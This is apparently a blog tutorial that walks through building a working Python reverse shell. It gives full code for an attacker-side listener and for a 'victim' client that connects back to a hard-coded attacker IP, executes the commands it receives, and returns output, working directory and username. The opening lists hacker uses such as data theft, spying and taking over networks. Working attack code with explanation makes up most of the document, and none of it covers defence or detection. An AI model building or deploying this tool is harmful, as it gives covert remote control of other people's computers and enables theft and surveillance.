😶🌫️ What is a reverse shell?
A reverse shell is a kind of remote shell that enables an attacker to connect to a remote system and execute commands as if they were physically present at the victim’s computer. In a reverse shell attack, the victim’s system connects to the attacker’s system rather than the attacker connecting to the victim’s system. Because firewalls and intrusion detection systems are often designed to block incoming connections while allowing outbound connections, reverse shell assaults are difficult to detect.
How reverse shell is used by hackers?
- Data theft: Once an attacker has established a reverse shell connection to a victim’s system, they can steal any data saved on the system, including financial information, personal information, and trade secrets.
- Malware assaults: Hackers can utilize a reverse shell connection to launch malware attacks like ransomware or denial-of-service attacks.
- Taking control of a network: If an attacker can create a reverse shell connection to a server on a network, they can take control of the entire network and conduct attacks against other systems.
- Spying on victims: Hackers can spy on victims by monitoring their internet activity or keystrokes using a reverse shell connection.
⭕ Building The tool
Before Building the reverse shell, let me show you a brief about what you are going to build today.
There are two files in this tool: the server file, which is responsible for sending commands, and the victim file, which executes the sent command on his system and provides the result to the server.
So let’ ’s start with the server file:
Coding the server file
This is the file that will listen for incoming connections from the victim, as well as the file that will transmit commands, receive responses from the victim, and show them at our own terminal.
Importing important libraries
import socket, sys,argparse, subprocess,os
from termcolor import colored
from datetime import datetime
Sockets : provides low-level network communication functionality.
sys: system-specific parameters and functions for manipulating the Python runtime environment.
argparse: To parse command line arguments
subprocess: lets you interact with the command line
os : Os module provides portable access to operating system functionality.
termcolor: for providing colored outputs in terminal
datetime: to display date and time
Defining the get_args()
function
def get_args():
parser=argparse.ArgumentParser()
parser.add_argument('-p',help="Port on which listen to ",dest="port",default=1337,required=False,type=int)
return parser.parse_args()
This function is responsible for creating command line arguments, the function uses argparse
module to create them. To know in detail about the argparse
module , you can check out the initial blogs.
In this function, we are only initializing the port argument which lets you listen for the port to listen on, the default value to it is 1337.
Defining the code outside function
if __name__=="__main__":
arguments=get_args()
hostIp="0.0.0.0"
bufferSize=1024 * 256 # for 256kb messages buffer
Separator= "<sep>"
hostPort=arguments.port
create_socket(hostIp,hostPort)
- In the first line if the the code is being run as the main program, if yes we parse the arguments used.
- we declare the IP address to listen on as 0.0.0.0 which means listen on connections.
- We declare the buffer size of the message which is being transported.
- Then we declare the separator string as
<sep>
, in each message received we’ll be receiving various information separated by this separator string we will split it at our end and use it.
- Then we declare the port which has been received from arguments.
- Then we call the
create_socket
function using the hostIP
and hostPort
values.
Defining the create_socket
function
def create_socket(host,port):
try:
s=socket.socket()
s.bind((host,port))
s.listen(5)
print(colored(f"[+] Listening on {host}:{port}",'green',attrs=['bold']))
print("-"*50)
client_con,client_info=s.accept()
print(f'\n[+] Recieved a connection from {client_info[0]:{client_info[1]}}')
send_commands(client_con)
client_con.close()
s.close()
except socket.error as err:
print(colored(f"[-] Error occured at socket processing, Reason {err}",'red'))
The create_socket
function is responsible for creating a socket object and listening for connections and if received the send_commands
function.
- In the try block, we first create a socket object
s
, and then we bind the host and port.
- Then we start listening for connections. The argument 5 indicates that the socket can queue up to 5 incoming connections.
- Then if a client connects with the server, it returns a tuple with two elements inside it, at 0 index is the client connection through which we will send and receive data and in the index 1 is the information of the client connected which is also a tuple of two elements with IP and port.
- Then we print the connected information and call the function to the
send_commands
function and we pass the client_con
as the parameter.
- Then from the error block if any exceptions occur, we print them.
Defining the beautify_terminal_take_command
function
Beautifies the terminal and takes commands and sends them to the main function
def beautify_terminal_take_command(whoami,cwd):
print(colored(f"👤 {whoami} on ",'green',attrs=['bold']),end="")
print(colored(f"📁 [{cwd}]",'blue',attrs=['dark']),end=" at ")
print(colored(f"[{datetime.now().strftime('%H:%M:%S')}]",'magenta'))
print(colored("# ",'red'),end="")
cmd=input().strip()
return cmd
This function will be used further in the send commands function, to take the input from the user and return the cmd.
The function takes in two arguments and using those two arguments, we print a beautiful terminal to take inputs.
Defining the send_commands
function
def send_commands(client_con):
cwd=client_con.recv(bufferSize).decode()
whoami=client_con.recv(bufferSize).decode()
if os.system=="nt":
subprocess.run('cls')
else:
subprocess.run('clear')
while True:
try:
cmd=beautify_terminal_take_command(whoami,cwd)
if len(str.encode(cmd))>0:
client_con.send(str.encode(cmd))
else:
continue
if cmd.lower()=='quit':
break
results,cwd,whoami=client_con.recv(bufferSize).decode().split(Separator)
print(colored(results,attrs=['dark']))
except KeyboardInterrupt:
client_con.send('quit'.encode())
print("\nGood Bye !")
break
This is the main function responsible for sending and executing commands.
- Before receiving and sending commands, we will accept the current working directory and the username of the victim client to make a terminal look good using client_con.recv() function, in recv message we have to give a buffer limit that , this is the limit which can be transfered and after receiving the results we decode the results as data is transfered only in encoded form , so we decode it.
- Then we check if the operating system is
nt
which means it is a windows system , so we run the command-line command cls
which clears the whole terminal, and if it is not we call clear
command to clear the terminal.
- Then inside an infinite loop, we construct a try block, and then we call our
beautify_terminal_take_command
to take input and we store it in a variable named cmd.
- If the length of the command is bigger than 0, we send the cmd to the victim using the client_con.send command before sending the command we encode the message.
- As the next condition if the command is
quit
we break out of the loop.
- After all the conditions we receive our results using
client_con.recv
function we split the results using the separator converting it to a list and then assigning the elements of the list to the specific variables.
- If any exception occurs, we send the victim
quit
command and print goodbye.
Coding the victim file
Importing the libraries
import socket,os,argparse,subprocess
from sys import exit
Some of the libraries that we are using are the same in both files.
Coding out the code outside functions
if __name__=="__main__":
host="192.168.19.9" # change it to attacker IP address
port=1337
bufferSize=1024 * 256 # for 256kb messages buffer
Separator = "<sep>"
create_socket(host,port)
- In the first line if the the code is being run as the main program, if yes we move forward.
- We declare a variable named host which contains the IP address of the server or listening machine.
- Then in a port variable, we define the port, on which the listening server.
- Then we create a variable called
Separator
for the same purpose as discussed above.
- Then we call the
create_socket()
function with the host and port arguments.
Coding out the create_socket
function
def create_socket(host,port):
try:
s=socket.socket()
s.connect((host,port))
execute_cmd(s)
except socket.error as err:
print(f"[-] Error occured at socket processing, Reason {err}",'red')
The create socket function creates a socket object and then tries to connect to the host and at the port if the connection is successful, we call the function execute_cmd
with the socket object and in case any error occurs in the object creation we print the error occurred.
Coding out execute_cmd
function
def execute_cmd(s):
s.send(os.getcwd().encode())
s.send(subprocess.getoutput('whoami').encode())
while True:
try:
cmd=s.recv(bufferSize).decode().strip()
if cmd.lower()=='quit':
break
cmd_split=cmd.split()
if cmd_split[0].lower()=='cd':
try:
os.chdir(' '.join(cmd_split[1:]))
except FileNotFoundError as e:
output=str(e)
else:
output=""
else:
output=subprocess.getoutput(cmd)
s.send(f"{output}{Separator}{os.getcwd()}{Separator}{subprocess.getoutput('whoami')}".encode())
s.close()
This is the function responsible for receiving the command executing the command and sending out the results back.
Let’s understand the code :
- At first, we send the the current working directory and the the output to the command
whoami
, we send these messages using the socket object created s
’s send function, before sending the output we encode the message.
- Then we enter an infinite loop, inside we first receive the command using
s.recv
function
- Then we ran various checks on the command which came, if the command was
quit
we broke out of the loop
- Then we also split the command and store the results in the
cmd_split
variable.
- If the received command is not “quit,” the code proceeds to execute the command. It first checks if the command is a “cd” command (change directory). If it is, it attempts to change the current working directory to the path specified in the command. Any error during this process is captured in the
output
variable.
- If the command is not “cd,” it is executed using
subprocess.getoutput()
, and the result is stored in the output
variable.
- After executing the command, the code sends a response to the client. This response includes:
- The output of the executed command (
output
).
- The current working directory of the server (
os.getcwd()
).
- The result of the
whoami
command, which identifies the user running the server.
- If execution comes out of the loop, we close the socket connection.